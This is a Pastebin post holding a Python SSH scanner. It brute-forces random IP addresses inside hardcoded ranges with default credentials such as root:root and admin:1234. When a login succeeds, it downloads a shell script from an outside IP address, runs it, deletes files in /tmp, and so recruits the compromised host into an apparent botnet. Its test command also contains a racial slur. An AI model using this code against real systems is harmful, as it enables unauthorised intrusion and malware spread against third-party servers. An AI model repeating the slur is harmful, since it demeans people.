Advertisement
LNO_LiGhT

SSH Scanner By; LiGhT

Nov 19th, 2016
3,430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.72 KB | None | 0 0
  1. #!/usr/bin/python
  2. # For the kids who still scan SSH
  3.  
  4. # SSH Scanner By LiGhT
  5.  
  6.  
  7. import threading, sys, time, random, socket, re, os, paramiko
  8.  
  9. if len(sys.argv) < 4:
  10.     print "SSH Scanner\n    By: LiGhT"
  11.     print "Usage: python "+sys.argv[0]+" <threads(1-100+)> <ips(1-1000+)> <pass list(1,2,3)>"
  12.     print "Example: python "+sys.argv[0]+" 100 1000 1"
  13.     sys.exit()
  14.  
  15. if sys.argv[3] == "1":
  16.     ssh_passwords = ["admin:1234"] #fastest infection rate, lowest results
  17. elif sys.argv[3] == "2":
  18.     ssh_passwords = ["admin:1234", "root:1234"] #decent speed, more results
  19. elif sys.argv[3] == "3":
  20.     ssh_passwords = ["admin:1234", "root:1234", "root:root", "root:admin", "admin:admin"] #slow af but hella results
  21.  
  22. sh_file = "http://103.194.169.245/bins.sh" # SH File
  23. threads = int(sys.argv[1])
  24. ipz = int(sys.argv[2])
  25. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  26. Sranges = ["49.150","91.98","5.78","122.3","122.52","122.54","119.93","124.105"]
  27.  
  28. def worker():
  29.     try:
  30.         print "\033[36mStarting SSH Thread\033[37m"
  31.         while True:
  32.             try:
  33.                 ipzh0 = ipz + 1
  34.                 br = random.choice(Sranges)
  35.                 for x in xrange(ipzh0):
  36.                     try:
  37.                         ip = ''+br+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  38.                         ss = sssh(ip)
  39.                         ss.start()
  40.                         time.sleep(0.009)
  41.                     except:
  42.                         pass
  43.                 time.sleep(1)
  44.             except:
  45.                 print "\033[31mERROR\033[37m"
  46.                 pass
  47.     except:
  48.         pass
  49.  
  50.  
  51. class sssh(threading.Thread): #BBB
  52.     def __init__ (self, ip):
  53.         threading.Thread.__init__(self)
  54.         self.ip = str(ip).rstrip('\n')
  55.     def run(self):
  56.         x = 1
  57.         while x != 0:
  58.             try:
  59.                 username='root'
  60.                 password="0"
  61.                 port = 22
  62.                 ssh = paramiko.SSHClient()
  63.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  64.                 dobreak=False
  65.                 for passwd in ssh_passwords:
  66.                     if ":n/a" in passwd:
  67.                         password=""
  68.                     else:
  69.                         password=passwd.split(":")[1]
  70.                     if "n/a:" in passwd:
  71.                         username=""
  72.                     else:
  73.                         username=passwd.split(":")[0]
  74.                     try:
  75.                         ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  76.                         dobreak=True
  77.                         break
  78.                     except:
  79.                         pass
  80.                     if True == dobreak:
  81.                         break
  82.                 badserver=True
  83.                 stdin, stdout, stderr = ssh.exec_command("echo nigger")
  84.                 output = stdout.read()
  85.                 if "nigger" in output:
  86.                     badserver=False
  87.                 if badserver == False:
  88.                     print "\033[36m[SSH] Command Sent %s!\033[37m"%(self.ip)
  89.                     ssh.exec_command("cd /tmp; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*")
  90.                     time.sleep(10)
  91.                     ssh.close()
  92.                     x = 0
  93.                 if badserver == True:
  94.                     ssh.close()
  95.             except:
  96.                 pass
  97.             x = 0
  98.  
  99. for g in xrange(threads):
  100.     try:
  101.         t = threading.Thread(target=worker)
  102.         t.start()
  103.         time.sleep(0.002)
  104.     except:
  105.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement